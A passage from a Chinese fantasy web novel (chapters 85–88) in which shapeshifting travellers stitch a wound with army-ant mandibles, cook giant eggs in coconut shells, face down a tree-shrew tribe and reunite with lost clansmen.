“这可不能怪我,他尾巴太长了,在半空中荡悠,一个不注意就……撞树上撞晕了。” 第85章 第 85 章 行军蚁 一个昏迷, 一个受伤,两个筋疲力尽,今天注定不能走太久,太阳刚开始落山, 红勇和莫淮山便早早停下来找地方休息。 原始丛林危机四伏, 没有绝对安全的地方, 挑挑选选,最后还是只能在树脚下清理出一片空地。 不过和昨天不一样,他们今天挑了一棵高大的榕树,枝叶茂盛适合隐蔽,树皮粗糙适合攀爬,最主要的是, 树干高处有个树洞,容下四只松鼠绰绰有余。 背靠大树心里踏实,遇到危险直接往树上爬。 当然了,花时安现在爬不了一点。 一天舟车劳顿,花时安手臂上的伤口愈发严重,兽形看着不太明显,一变回人形, 时刻关注他的莫淮山倒吸一口凉气, 急得团团转,“伤口又出血了!时安, 你怎么不告诉我?” 路上莫淮山多次提出休息, 多次询问伤口,花时安疼得要命,但不想耽搁他们赶路,每次都是摆摆爪子回应, 表示自己没事。 变回人形就瞒不住了,花时安咧着嘴朝他笑了笑,小声解释:“这么大的伤口,少量出血其实很正常,处理伤口需要时间,我想着晚上休息一块处理,不耽搁事。” “别说话了时安,先处理伤口。” 伤口渗血,嘴唇发白,脸上一点血色都没有,莫淮山的心一下揪了起来,忙地扒着背篓翻找,摇晃竹筒,“水,背篓里还有一些水,还有葛根粉,用得上吗?” 红勇死死盯着花时安的伤口,刚刚舒展开的眉头又皱了起来,眼中闪过一丝懊悔,“不看我都不知道,时安你居然、居然伤得这么严重!是我的错,我急着赶路,没注意——” “哎哎哎,别说这些,”花时安打断他的话,“那黑熊报复心极强,尽快离开是对的,你没有任何错。比起处理伤口,还是保命要紧。” 一宿没睡,一整天神经紧绷,难得的休息时间,该放松一下了,花时安朝红勇扬了扬下巴,强打起精神道:“先捡柴生火吧,我们现在更需要食物,哦对,秋雨晕得也太久了,你等等检查一下他的头,看有没有外伤。” 红勇点点头,起身在四周拾取柴火。 黑熊是一个不要脸的掠夺者,夺走了他们大半食物,牛肉吃得干干净净,一块不剩,红薯也所剩无几,装水装葛根粉的竹筒也被踩坏了好多个,漏在地上捡都捡不起来。 只剩六竹筒水,喝都不够,他却还要用来清洗伤口。 没办法,用椰子水清洗只是权宜之计,那玩意儿含糖的,洗完之后伤口又疼又痒,花时安没说罢了。 竹筒里装的是凉白开,有条件当然要再洗一遍,花时安让莫淮山端着竹筒倒水,自己则咬紧后槽牙,拨开尚未愈合的伤口,仔仔细细地清洗。 这个过程不亚于受刑,伤口清洗完,花时安后槽牙都快咬碎了,额头覆上一层细密的汗珠。然而这只是刚刚开始,伤口太大了,想要快速愈合,必须进行缝合。 要啥啥没有的原始森林,用什么来缝合呢? 撒了一小撮盐,花时安摇晃竹筒,仰头将剩下的一点水喝完,脑海中闪过无数想法,但好像都不怎么靠谱,而就在他将竹筒放回地面时,余光无意一扫,一群不起眼的蚂蚁引起了他的注意。 被洒落的葛根粉所吸引,一群褐黄色蚂蚁围着背篓底部打转。蚂蚁个头很大,体型是常见小黑蚁的三到五倍,且头宽腹窄,长着一对镰刀状上颚。 特征很明显,钟爱纪录片的花时安一眼就认出来了。 ——行军蚁,一种分布在热带地区的蚂蚁,各种纪录片里都能看到它的身影。它的妙用在于,极端缺乏医疗条件的情况下,可以用它锋利的上颚来进行伤口缝合。 这可真是瞌睡来了递枕头啊,花时安顿时来了兴趣,低头瞅着来回窜动的小蚂蚁,犹豫要不要下手抓。 犹豫是因为这玩意儿有微弱的毒性,还带有细菌,用它来缝合伤口有一定的感染风险,但话又说回来了,不缝合就不会感染了? 在这闷热潮湿的雨林中,伤口自然愈合的速度极慢,尤其他的伤口还这么大,不加以处理,过不了两天就会红肿发炎,严重点可能还会溃烂,到那个时候真就来不及了。 缝,必须缝,花时安果断叫莫淮山给他抓蚂蚁。 来回跑了好几趟,干柴终于捡够了,红勇呼出一口热气,正准备找火折子生火,结果往旁边一扫就看到了这一幕。 亚兽与兽人并肩而坐,扒着背篓埋头捉虫子,两个人挨得很近,肩膀贴着肩膀,偶尔捉到个头大的,兽人邀功似的递给亚兽看,而亚兽会对他笑,浸润水光的眸子只看得见兽人。 分明没有什么过分亲昵的举动,但两人之间特殊的氛围,好像任何人都融入不进去。 捉个虫子而已,有什么了不起的。 红勇轻哼一声,别开脸。 天不遂人愿,下定决心不再去看,花时安忽然又唤了他一声,“红勇,来来来,过来搭把手。” 红勇揉了揉眉心,无奈叹了口气,“来了。” 刚刚走上前,一个竹筒盖子递了过来,红勇接过来一看,数十只褐黄色小爬虫在盖子里打转。想不明白这有什么用,红勇皱着眉头看向花时安,“给我?你们抓这虫子做什么?” “不是给你,是让你拿着,让你看。”花时安靠着莫淮山的肩膀,用下巴点了点受伤的左手,对红勇说:“你坐这边,我先给你说说这行军蚁怎么用,等下我的伤口就交给你了。” 行军蚁?伤口?实在搞不懂这两者之间有什么关联。 红勇坐在花时安左侧,耐心等待他的后话。 马上就要上刑了,花时安太阳穴突突直跳,倚着兽人的肩膀有气无力道:“你仔细看看盖子里的虫子,看到它头上弯弯的颚了吗?等下你捏着后背抓一只起来,对准我的伤口,像编竹具,织棕裙那样,趁它挣扎用力时,让它的锋利上颚扎进伤口边缘两侧,把我绽开的皮肉夹在一起。” “什么?!用虫子的颚来缝合伤口?”红勇手猛地一颤,差点把盖子里的行军蚁甩出去。 小心翼翼地将爬出竹盖的行军蚁拨回去,红勇低头看着那一对又大又锋利的颚,眉头越紧越拧,“这颚也太大了,伤口本就脆弱,再被这颚夹一下,那、那得多疼?为什么一定要缝,伤口慢慢也会好的。” 花时安:“太慢了,环境潮湿,伤口愈合得慢,容易感染。疼也没办法,忍一忍,缝合好了能止血,能加快愈合速度。” “可伤口太大,这样一只小虫子怕是夹不住。” 两寸长的伤口,一只行军蚁自然不够,花时安耸了耸肩,唇缝中溢出一声轻笑,“别看它个头不大,力气大得很,夹住了就不松口。伤口长,一只确实不够,不过你那竹筒盖子里可不止一只。” “来吧,捏着我的伤口从下往上,一只一只地夹,夹多少算多少。”花时安眼睛一闭,视死如归地伸出手臂,然而仅是一秒,他忙地又补充道:“轻点啊红勇,你得对准了,万一夹歪了还得拔了重新夹,那可就白遭罪。” “还有,确定行军蚁夹端了、夹稳了,趁它不注意,把它身子给拧掉,只留下脑袋。” 交代完了,花时安脑袋一歪,靠在莫淮山的肩膀上。 缝合伤口的事情全都安排给了红勇,莫淮山微微一愣,无措地抿着嘴唇,“那,那我呢时安?我做什么?” 花时安扬起嘴角:“你,负责抱着我。” “啊?”莫淮山差点以为自己听错了。 虽然早就抱过了,更亲密的接触都有过,但当着红勇的面亲近……不太好吧? 瞧着他越来越红的耳朵,花时安笑出了声,“想什么呢?行军蚁扎在肉里疼,剧疼,我可能会下意识躲开,你得抱着我,摁着我,不能让我挣扎,以免红勇夹偏了。” “哦,我、我懂了。”莫淮山尴尬地笑了笑,伸手从身后环住花时安的腰,避开左臂将他搂在怀里。 这看着可真刺眼,红勇眸光微沉,深吸一口气,从竹筒盖里捻出一只张牙舞爪地行军蚁,“准备好,我要开始了。” 尽管早就做好了心理准备,但行军蚁锋利的上颚刺透皮肤,穿过血肉,花时安还是疼得一激灵,垂在身侧的右手条件反射般抓住莫淮山的胳膊,指甲深深陷入肉里。 这一把用了十成十的力,莫淮山却像是感觉不到疼痛,他满心满眼只有花时安,看着对方因用力咬牙而剧烈颤抖的嘴唇,心瞬间揪了起来,搂着腰将他抱得更紧。 “别咬牙,疼得厉害你就咬我,我不怕疼。” 花时安一点儿没客气,又一只行军蚁刺破皮肤,剧痛猛然袭来,他喉咙里溢出一声闷哼,想都没想直接张开嘴,一口咬住莫淮山手臂上的肉。 三个人都不好受。 一个抓着行军蚁缝合伤口,承受着巨大的压力,额头上全是汗珠;一个被人按在怀里,被疼痛反复折磨,脖颈青筋暴起,而另一个为分担疼痛遭受无妄之灾,被手抓,被牙咬,眉头紧紧拧着。 迷迷糊糊睁开眼,变回人形从地上爬起来,岩秋雨一抬头就看到了这一幕。人醒了魂还没醒,见两个兽人按着花时安,他瞳孔猛地一缩,噌地站起身,指着两人大喊: “你们在干什么,放开祭司大人!” 第86章 第 86 章 巨蛋 “别光顾着吃, 说话,平时话不是挺多的吗?” 天色渐渐暗了下来,花时安的伤口处理完,水也烧开了, 四人各端着一竹筒热腾腾, 黏糊糊的野菜葛根粉, 围着火堆吃得正香。 傍晚那义愤填膺的一嗓子把自己整尴尬了,岩秋雨没脸见人,鹌鹑似的蹲坐在地上,埋头往嘴里扒葛根粉,一声不吭。 红勇多次开口调侃,他自知理亏不敢还嘴。 但没完没了一直叨叨, 他耳朵快起茧子了,抬头愤愤瞪了红勇一眼,小发雷霆:“我一个人的错咯?一睁眼就看到你们按着祭司大人,又抓手又摁头,而且祭司大人满头大汗,一脸抗拒,还咬傻大个, 不管谁见了都会误会的好吧!” 等了半天等来这样一句话, 红勇听笑了,皮笑肉不笑地盯着岩秋雨, “谁都能误会, 你不能!岩秋雨,你是第一天认识我们?我们在你眼底就是这样的人?趁祭司大人受伤欺负他,这是我们能干出来的事儿?” 把同伴当成十恶不赦的坏人,这很过分。 旁人说话从不插嘴的莫淮山也忍不住了, 咽下野菜小声附和:“是啊,秋雨你怎么会这么想?我们以前在晴空森林就认识了,你应该知道的,我和勇哥绝对不是那种兽人。” “哎!谁知道呢。”红勇叹了一口气,“可能人家打心里就没有把我们当成同伴,一直防备着我们,所以遇到这种事,第一反应就是我们做坏事,我们欺负人。” 听不懂玩笑话,莫淮山当真了,他眨眨眼看向岩秋雨,眼睛里有一点点难过。 一唱一和简直快把岩秋雨逼疯了,一下子成了千古罪人。 葛根粉也不香了。他放下竹筒双手抱着脑袋,一脸崩溃道:“我错了,真的知道错了,两位好哥哥,饶了我吧!” “哎呀,你们是我最好的同伴,我怎么会防备你们呢,当时、当时真没想那么多,我磕到脑袋刚刚清醒,脑子没转过弯,所以才……” 红勇:“哼,少拿磕到脑袋当借口,要是真信任我们,要是真拿我们当同伴,你根本不会往那方面想。” 莫淮山给花时安喂了一筷子野菜,点点头,“就是。” 独木难支,一张嘴说不过两张嘴,岩秋雨在头上猛抓了两把,嘴巴一瘪,转头跟花时安装可怜,“祭司大人~你得帮我,我都说了没有那个意思,他们还不依不饶,欺负我!” 伤口算是缝合好了,花时安的左上臂夹着十二个蚂蚁头,伤口表面还敷着捣碎的马齿苋粉末。伤口红肿狰狞,夹着一串蚂蚁,看着怪吓人的,但行军蚁加马齿苋,比起尚未处理时,花时安感觉好多了。 在刑场上被折磨了一番,身体还没从剧痛中缓过来,花时安有气无力地倚着莫淮山的肩膀,就着兽人的手进食,听他们打趣调侃。 其实还挺有意思的,说说笑笑,冲淡了被野兽支配的恐惧,不过突然被人喊到,花时安没办法装聋作哑地看戏,毕竟岩秋雨也是担心他才成了众矢之的。 咽下嘴巴里的食物,花时安抿唇轻笑一声,不紧不慢道:“说句公道话,我觉得秋雨没有恶意,他就是关心我,关心则乱嘛,一时情急会错了意。” “是吧!” 有人撑腰腰杆硬,岩秋雨支棱起来了,下巴一下子扬到上天上去,得意扬扬地冲红勇笑,“我只是关心祭司大人,我才没有——” 话还没说完,他忽然又听花时安说: “你们又不是不知道,他那脑子时好时坏,有时聪明有时笨,说出什么话都不奇怪。孩子年纪轻轻脑子就坏了,怪可怜的,你们就让让他吧。” 岩秋雨:“?” 是在帮他说话没错,可总觉得哪里怪怪的。 过了两秒他终于反应过来了,扯着嗓子哀嚎:“祭司大人!我关心你,你居然说我笨,还说我脑子坏了!” “实话实说嘛,你最近确实老犯迷糊。” “有吗?我哪有,你说清楚。” “哈哈哈哈……” 红勇心满意足地笑了,不等岩秋雨闹起来,他摆摆手道:“差不多行了,赶紧吃饭,吃完早点睡觉,快两日没休息了,累了。” * 树干上的标记就像是夜空中的星星,一个接一个,一颗接一颗,永远数不完。四人起早贪黑,吭哧吭哧又走了两日,水滴状标记依然指引着他们前往森林深处。 惨遭黑熊洗劫,出门带的水和食物早早消耗完了,好在雨林资源丰富,有野菜野果充饥果腹,有清甜可口的椰子解渴。 不愧是被称为“水果天堂”的热带丛林,香蕉、菠萝、木奶果、木鳖果、野柠檬……一路上边走边摘,水果吃到撑,背篓里的食物反倒越来越多。 太阳落山,天又快黑了,红勇带头钻出比人还高的灌木丛,打算找个休息,而这时,迟迟没钻出来,被灌木隐去身形的岩秋雨忽然惊呼一声。 “哇,这是什么东西,好大!” 一路上见过太多稀奇古怪的东西,红勇没当回事儿,皱着眉头吆喝一声,“走了,别耽搁,天快黑了,赶紧找地方休息。” “来了来了。” 声音先到,人迟迟没来,岩秋雨又在里面窸窸窣窣地折腾了一会儿。 当他钻出灌木丛时,环抱在胸前的臂弯里多了三个比椰子还大的椭圆形不明物体。 一眼扫过去,红勇还以为是没见过的野果,但仔细一看,白色外壳光滑到反光,没有果柄,怎么看都不像植物的果实。 “这是什么东西?你哪里弄的?”红勇来了兴趣,从岩秋雨怀里拿出一个白色圆球,双手抱着,轻轻晃悠了两下,“里面有东西,是水吗?和祭司大人说的椰子有点像。” 岩秋雨摇摇头,“不知道啊,我在那草丛里捡的,这三个圆圆的挨在一起。要不叫祭司大人看看吧,能吃就拿着,不能吃扔了,怪沉的。” 话音刚落,睡眼惺忪的花栗鼠和精神抖擞的黑毛团子齐刷刷从背篓里探出头,懒洋洋地“吱”了一声。 两只鼠都在红勇背篓里,听到叫声红勇立马从岩秋雨手中接过白色圆球,旋即转过身,让他把背篓里的小松鼠拎出来。 花时安对那白色圆球十分感兴趣,脚一沾地就迅速变回人形,往旁边挪了几步,俯身凑到红勇面前。 乳白色,圆润饱满,有象牙般的肌理和光泽,毫无疑问,这是三颗蛋,三颗巨大的蛋。 个儿太大了,这会是什么动物的蛋?花时安下意识认为是森蚺,但过了两秒发现自己脑抽了,森蚺和蟒蛇不一样,它不下蛋,直接是胎生。 能不能吃敲开一看便知,花时安没多解释,回头朝众人招招手,“把这三个蛋带上,走,先找个休息的地方。” 感觉又有好吃的了,岩秋雨激动地搓搓手,“走走走!” 从今天下午开始,他们好像又进入了一片不一样的丛林。 这一带生长着很多垂叶榕,又名绞杀树,它粗壮的气生根好似灵活的巨蟒,沿着树干蜿蜒攀附,给大树穿上一件结实的网状外衣。 乍一看,缀着绿叶的枝蔓与大树相依相偎,实际上,它依附高大植物而生,夺取植物养分,它是鲸鱼身上甩不掉的藤壶,直至将依附对象掏空,纠缠至死。 对植物不友好,对小动物,对风餐露宿的丛林探索者非常友好,它粗壮的枝蔓紧紧缠绕大树,中间那些空隙就是一个个完美的“树洞”,大一点的空隙都能容下一个人。 到处都是树洞,休息的地方不难找,四人沿着标记又走出一段路,在树脚下找了一块相对平整,杂草灌木没那么多的空地。 卸下背篓,岩秋雨在花时安的指挥下,对巨蛋发动攻击。 巨蛋竖着放,夹在两条腿中间,岩秋雨先用骨刀在巨蛋顶端划了一个圈,留下一道不深不浅的印子,然后拿起稍重一些的石刀,用刀背轻轻敲击蛋壳。 蛋壳不算硬,敲了不到十下,只听“咔嚓”一声响,骨刀划出的圆圈裂开了一条缝。岩秋雨重新拿起骨刀,沿着缝隙将蛋壳挑开,一层半透明的白色薄膜映入眼帘。 等不及了,花时安主动上手撕开薄膜,忙地往蛋壳里瞅。 透过晶莹的胶状液体瞅见一抹亮眼的橙黄,花时安嘴角微扬,浅淡的笑意自眼底漾开。 有蛋黄,完整的蛋黄,几乎和鸡蛋一模一样。 这不是爬行动物的蛋,可以吃,今晚美美加餐! 虽说出门在外,怎么方便怎么来,但第一次在这个世界找到蛋,花时安可不想吃没盐没味的白水蛋。 于是火生起来后,他指挥兽人将蛋液搅匀倒入椰子壳中,加点盐、加点椰子水再次搅拌均匀,煨在火堆旁边慢慢烤。 巨蛋,比鸵鸟蛋还大不少,三个蛋装了八个椰子壳。 这都不只是加餐了,一人两个椰子蒸蛋,再配点水果,晚饭就这么愉快解决了。 烹饪蛋不需要太久时间,花时安靠着兽人打了个盹儿,再睁开眼睛时,椰壳里黄澄澄的蛋液已经凝固,用石刀一拍,Q.Q弹弹的。 肚子饿了,顾不上烫,兽人们垫着树叶将椰子蛋端到面前,拿起筷子大快朵颐。 滑滑嫩嫩,椰香味浓郁,超级好吃,一块弹弹的蒸蛋下肚,花时安心旷神怡,满足地眯起了眼睛。 水果当饭吃始终差点意思,时隔两日再次吃上热腾腾的食物,兽人们一声不吭埋头往嘴里扒蛋,像是三天饿了九顿,狼吞虎咽。 晚饭时间提前结束,四个人都非常满足,可就在众人熄灭火堆,准备变回兽形上树睡觉时,一阵窸窸窣窣的响动忽然从四周树干上传来。 “窣窣,窣窣窣——” 声音从四面八方传来,似风吹树叶的声响,声音很轻,却又很密集,更像是动物在树上爬行。 兽人反应极快,抓起长矛背靠背,将花时安护在中间。 唯一的光源熄灭了,密林中一片漆黑,树木被层层叠叠枝叶遮挡,地面被杂草灌木覆盖,几乎什么也看不清。 声响持续逼近,感觉数量很多,会是什么东西? 蛇?鸟?猴子?花时安屏住呼吸,紧咬下唇,目光专注地盯着离他们最近的大树。 来势汹汹,声势浩大,似乎一场恶战即将爆发。 头顶枝蔓上的树叶动了,花时安浑身汗毛瞬间竖了起来,可下一秒,一个娇小可爱、毛茸茸的小脑袋从树叶底下探了出来。 第87章 第 87 章 树鼩 “沙沙, 窣窣窣——” 夜色幽深,树叶杂草摇晃不止,声音由远到近,一群娇小可爱, 形似岩松鼠的毛茸茸陆续从黑暗中蹿出。 一只、十只、三十只…… 密密麻麻, 数不清的毛茸茸从四个不同的方向逼近, 呈包夹之势,快而迅速地将四个外来者围住。 突然被一群不明生物包围,三个兽人却丝毫不慌,因未知而紧绷的神经反倒渐渐放松下来,大口呼吸着新鲜空气,原因无他—— 不起眼的毛茸茸与夜色融为一体, 乍一看好似灰扑扑的老鼠,与吻部细长的岩松鼠极为相似,但体型只有岩松鼠的一半,甚至三分之一。 比起那大腿粗的森蚺,堪比移动巨山的黑熊,眼前这娇小可爱、人畜无害的毛茸茸,看上去毫无威慑力。 长得太像岩松鼠了, 莫淮山不由多看了几眼, 耐人寻味的眼神幽幽转向岩秋雨,压低嗓音道:“和你的兽形好像, 但总觉得哪里怪怪的, 又说不出哪里不一样。” “哪里像了?你眼睛有问题吧!”岩秋雨不乐意了,瘪着嘴反驳道:“我们兽形更大,皮毛更光滑、更漂亮,一点都不一样好吗!” 莫淮山:“分明就很像。” “不要拿我们跟野兽比!” 岩秋雨和莫淮山旁若无人地探讨起来, 红勇没有参与,攥紧骨矛死死盯着不断逼近的兽群。 像岩松鼠又并非岩松鼠,这到底是什么兽? 为何成群结队地蹿出来,将他们团团围住? 好似猜到他心中所想,被兽人护在中间的花时安轻启薄唇,缓缓吐出两个字:“树鼩。” “树鼩?时安你认得。” 迷航的船长在一望无际的大海中寻到了灯塔,红勇倏地转头看向花时安,忙地追问:“那你了解它们的习性吗,它们这样围着我们是什么意思?打算攻击我们?” 区区小兽不足为惧,但这数量着实有点多,不同的兽有不同的习性,知己知彼方能百战百胜。 树鼩胆小易受惊,比松鼠还弱,攻击力约等于没有,就算这一大群树鼩一起发动攻击,手持骨矛的兽人也能将它们揍趴下。 但问题是……真的是兽吗? 树鼩并非群居动物,一般不会进行这样大规模的群体活动,花时安心中隐隐有了猜测,不安地皱起了眉头,但没等他开口解答疑惑,正前方的包围圈有所松动。 似乎接收到了某种信号,四脚着地的树鼩不约而同地往两侧移动,主动让出一条道。与此同时,一只个头更大、皮毛光滑的树鼩从树上一跃而下,大摇大摆地走进包围圈。 不论习性还是行为举止,它们都和野兽沾不上边。 花时安的猜测在这一刻变成了事实,昂首挺胸的树鼩好似饮下了膨大剂,身体随移动而不断变大,褪去皮毛长出四肢,最终停在他们时,娇小可爱的树鼩化作长发飘飘的中年女人。 女人的年纪在三十五到四十岁之间,乍一看很年轻,眼睛四周却斑驳着岁月的痕迹。她皮肤偏暗,是健康的小麦色,看起来经常锻炼,有着强壮的四肢,粗大的腰身,壮硕而不显臃肿,散发着一种野性而自然的美。 如果花时安没猜错的话,她是一位兽人。 不过这位兽人的行为举止有些奇怪,变成人形后,她没有第一时间站起来,依旧和兽一样四肢着地趴在地上,棕色眸子如同一把带倒钩的矛,警惕而不满地盯着他们。 双方都不说话,场面一时间僵持不下。 这样下去好像也不是办法,花时安眉头微皱,正准备开口打破沉默,女人比他更快一步:“你们,什么人?哪里来?没见过。” 喉咙里含着沙子似的,女人的嗓音格外沙哑,且她语无伦次,语序颠倒,几个字几个字地往外蹦,像是刚学会说话的小孩。 一群树鼩不足为惧,一群兽人就要掂量掂量了。 最好不要正面起冲突,花时安垂眸对上兽人的视线,不卑不亢,“老老实实”地回答:“抱歉误入了你们的领地,我们是生活在森林另一边的兽人,来这边是为了找人,路过一下,如果你们介意,我们现在就离开。” “森林,另一边,哪一边?” 显然,对他们从哪来的很感兴趣,女人又追问道。 但没等花时安回答,她扫过一旁装着水果的背篓,眼睛瞬间亮了起来,“椰子,香蕉!你们、你们从黑熊林过来?” 她不仅认识这些水果,居然也管黑熊叫黑熊……花时安怔愣了一瞬,不确定地点了点头,“应该是吧?我们前两天确实碰到过黑熊。” “怎么做到?” 女人的视线扫过三个兽人,最终定格在花时安身上,低声喃喃:“进入黑熊林,不死也残,你们碰到黑熊居然还活着,只有一个人受伤,怎么做到?” “如你所见,我们有三个强大的兽人,他们聪明机智,英勇善战,自然是把黑熊打跑走出来的。”花时安脸不红心不跳,一本正经地吹牛。 岩秋雨:嗯?英勇善战,打跑黑熊,我们吗? 对方人数众多,不能露怯,红勇下巴一抬,随声附和:“没错,那黑熊主动攻击人,我们把它打跑了。” 四个人加起来还没一只幼熊大,真能打跑黑熊?女人半信半疑地看了他们一眼,忽地笑了一声,“真这么厉害,那么,你们的兽形是什么?什么动物?” 花时安:“重要吗?我们活着走出来了不是吗?” 这倒也是,女人不再追问,回头看了一眼同伴。 见同伴们都直勾勾地盯着果子,她当下有了打算,扭头对花时安说道:“误入我们的领地,想离开也可以,那个筐里的果子,摘十筐过来,我便不为难你们,放你们离开。” “多少?”循着她的手指望向背篓,岩秋雨瞪大了眼睛,“十背篓水果?我们总共才三背篓,上哪去找十背篓?你怎么不去抢!” 这不正在抢嘛,女人笑了笑,“你们刚从黑熊林出来,熟悉路,可以返回去摘。那边果子树很多,密密麻麻到处都是,十筐、背篓不算难找。” “不算难找,呵,那你们自己怎么不去摘?”红勇越说越气,咬牙切齿地瞪着女人,“胆小怕死,不敢进入森林,只会在这为难我们!我们只是路过,张口就要十背篓果子,别太过分了!” 早看出花时安才是真正掌握话语权的人,女人把红勇的话当耳旁风,扭头朝花时安扬了扬下巴,“你也觉得过分了?那可以少一点,八筐怎么样?” 居然还能讨价还价? 花时安挑了下眉,不紧不慢道:“不是几筐的问题,主要我们急着找人,实在没时间返回去摘果子。要不你看这样成吗?我们现有的果子留一半给你们,放我们走,或者让你的族人帮帮我们,帮我们一起找,找到人了我们再回来摘果子。” 女人想都没想,直接拒绝:“不行!我们很忙,没空陪你们找人。留一半的果子太少了,要我说,六筐,不能再少了。” 六背篓果子,来回跑个两趟,花个一两天时间。 如果不想起冲突,其实可以答应了,但花时安凝眸看着女人,嘴角微微扬起,“如果我不答应呢?” 被包围了还在笑,还能气定神闲地说话,这群人不好对付。女人有一瞬间的犹豫,但仅是一瞬,她愈发目光坚定,噌地站起身。 “胆子够大,但你们好像没搞清楚状况。你们被包围了,我们一百多个人,一人一口唾沫都能把你们淹死,如果我不松口,你们今晚绝对走不掉!” 话音未落,四周站岗的树鼩窸窸窣窣地动了起来。 它们迈着小碎步往前挪动,像是给女人撑场面,吱哇乱叫,不断缩小包围圈。 想到这是一群人,岩秋雨不由紧张起来,神色凝重地转过头,压低嗓音对花时安说:“数量太多了祭司大人,你的伤害没好,万一打起来怕顾不上你,要不——” “不能妥协。”花时安打断他的话,幽深的眸子一眨不眨,意味深长地与女人对视,“族长,该想清楚的人是你。再往前走我们可就不客气了,让族人为一口吃的冒险,值得吗?” 话音未落,女人一抬手,缓慢挪动的树鼩军队停下了。 早料到她不会动手,花时安笑了,自言自语般喃喃道:“黑熊林有黑熊出没,是很危险没错,但黑熊领地意识强,一片森林中不会有太多熊。” “运气好点压根碰不上,运气差碰上了,你们树鼩有出色的攀爬能力,爬上枝头躲避黑熊攻击应该也不难。可是你们连靠近黑熊林都不敢,我猜……你们比我想象得更弱。” 好似被戳穿了心事,女人肩膀微颤,不见波澜的脸庞出现了一丝裂痕,偏头避开花时安的视线,“你到底想说什么?” 花时安眼底笑意更浓,“你们的兽形和强大沾不上边,真要吓唬人应该变回人形,为什么到现在还不变?担心被我们看出,部落只有你一个身强力壮的兽人?担心你面黄肌瘦,风一吹就倒的族人没有威慑力?” “你——” 女人瞳孔猛地一缩,呼吸因激动而变得急促。 花时安用嘴继续补刀:“说得不全对,或许不是不想变,而是太久没变回人形,早就忘了怎么变。” “你、你到底是什么人?你为什么会知道我们部落……”底牌被掀,女人彻底装不下去了,她肩膀忽地沉了下去,再无刚才雷霆万钧的气势。 这是承认了花时安的话?岩秋雨惊呆了,一脸不可置信地看向花时安,问出女人没问完的问题:“祭司大人你怎么会知道这些,你、我们,不都是第一次来吗?” 花时安:“猜的。她个头最大,皮毛光滑,变成人形也是一名强大的兽人,可她的族人又瘦又小,皮毛干枯,有的都炸毛了,一看就营养不良。我猜,他们的日子不好过,所以集中资源养出一个强大的兽人,遇到敌人时方便威慑。” “那为什么说他们不能变成人形?兽人之所以叫兽人,不就是因为能在兽形和人形之间变幻吗,不能变成人形岂不是真成野兽了?”求知欲旺盛的红勇忙地追问。 花时安抬眸看向站立不安的女人,轻轻叹了口气,“很明显,这位族长一开始就很难适应人形。” “站着说话更有气势,她却选择像兽一样趴着,而她说话的方式也很奇怪,几个字几个字地说,开始我以为是个人习惯,但她说着说着又正常了,更像是慢慢在适应。” “你很聪明。” 女人渐渐冷静了下来,眉峰短暂挑起,重重落下,看向花时安的目光中漾着一抹无奈的苦笑,“罢了,你们走吧,尽快离开我们的领地。我们部落虽然不强大,但你们要是有别的想法,拼了这条命也不会让你们安然离开!” 兔子急了也会咬人,花时安当然明白这个道理。 想法是没有的,问题倒是有一个,花时安叫住了她,“族长,你们部落在这附近对吧?你们是一直住在这里吗?” “和你有关系?打听这个做什么?”女人一秒警惕。 花时安笑了笑,“别误会,不是打听你们部落的消息,我是想问问,去年秋天你们有没有在这附近看到陌生兽人?” “一个两个,还是一群?”女人来了兴趣,停下步伐,回头朝花时安扬了扬下巴道:“你直说,你们找什么兽人。” “我们找松——” 话还没说完,身后树丛忽然传来一阵凌乱而沉重的脚步声,听声音至少有十几二十个人正快速逼近。 “终于来了!”失魂落魄的女人面露喜色,手轻轻一挥,假意散开的树鼩瞬间又围了上来。 她仿佛摘到了胜利的果实,重新走到四人面前,看着花时安得意一笑,“你的确聪明,一眼就看穿了我们,但没想到吧,我们可不止这些人。让走你不走,现在没机会了。” 脚步声由远至近,短短数十秒后,一群高高壮壮的人影踩着夜色出现在了包围圈后方。 透过朦胧的夜色看清来人,握紧骨矛随时准备发起攻击的红勇如遭雷击,瞪大双眼整个人僵在原地,嘴唇颤抖不止。 “大、大族长!” 正得意的女人:“你们……认识?” 第88章 第 88 章 久别重逢 时隔半年, 灾难中“丧生”的亲人突然出现在眼前,难以遏制的喜悦涌上心头。近乡情怯,岩秋雨当场石化,僵在原地不敢靠近, 红到发紫的眼眶蓄满泪水。 “秋, 是你吗秋?” 沙哑而颤抖的女声从人群中传来, 岩秋雨再也忍不住了,丢下骨矛箭步冲向人群,一头扎进朝他走来的高个女人怀里,哭得像个小孩一样。 “阿母……我就知道,我就知道你一定还活着!” “秋,秋……” 久别重逢, 母子俩紧紧相拥,喜极而泣。 失而复得的喜悦笼罩着这片土地,健壮中年男子大喜过望,领着十多个人快步走了过来,不掩激动地停在红勇身前。 欣慰、庆幸,这位两鬓斑白,难掩往日风采的大族长眼中情绪复杂, 像是有很多话要说, 但最终,他抬手拍了拍红勇的肩膀, 千言万语汇聚成无声地叹息。 “好小子们, 活着就好,活着就好。” 不是亲人胜似亲人,狩猎队沉着冷静的队长抬眸看着大族长,眼底划过前所未见的脆弱与委屈, 悄无声息地红了眼眶。 叙旧寒暄先往后稍一稍,没有人不想和亲人团聚,环视一圈看见只有四个人,重新燃起希望的族人瞬间急了,着急忙慌地追着红勇和莫淮山问: “怎么就你们四个人?勇,看到我家兰和简没有?” “还有我儿子石,是不是跟你们在一块?” “山,有看到我阿母叶吗?” “我家亚兽乐,你们有没有看到过他?” …… 十几二十个人,十几二十张嘴,一人问一句,夜晚的森林仿若闹市般嘈杂。红勇和莫淮山应接不暇,最后大族长站出来维持秩序,让人去树脚下坐着说,一个一个地问。 怎么逃出来的,又是怎么跑到森林深处的,花时安对他们这一路的经历很感兴趣,正准备凑上去听一耳朵,身侧忽然传来一声轻呼:“安,你是安?” 该来的还是来了,花时安眼眸微抬,一个只比他高一点,长着一张娃娃脸的男性兽人闯入视线。 豆,来自花栗鼠部落的兽人,原身印象比较深刻的族人之一,虽算不上亲近,但以前在部落颇为照顾原身,深究起来还和他沾点亲。 久别重逢,原身会怎样面对族人?花时安开始回忆,但还没回忆出个所以然,透过夜色看清他的相貌,兽人豆勾着他的肩膀,给了他一个大大的拥抱。 “真的是你!太好了太好了,你还活着!” 一改往日的冷淡,算不上亲近的兽人像是抓住了救命稻草。他激动得浑身发抖,双臂如同铁链,死死缠着花时安。 很奇妙,兴许是拥有原身的记忆缘故,突然被不熟悉的人抱住,花时安并不抗拒。他抬起右手回抱住兽人,在对方背上拍了两下,轻声道:“还活着,我们都还活着。其他人呢?还有其他族人和你在一块吗?” 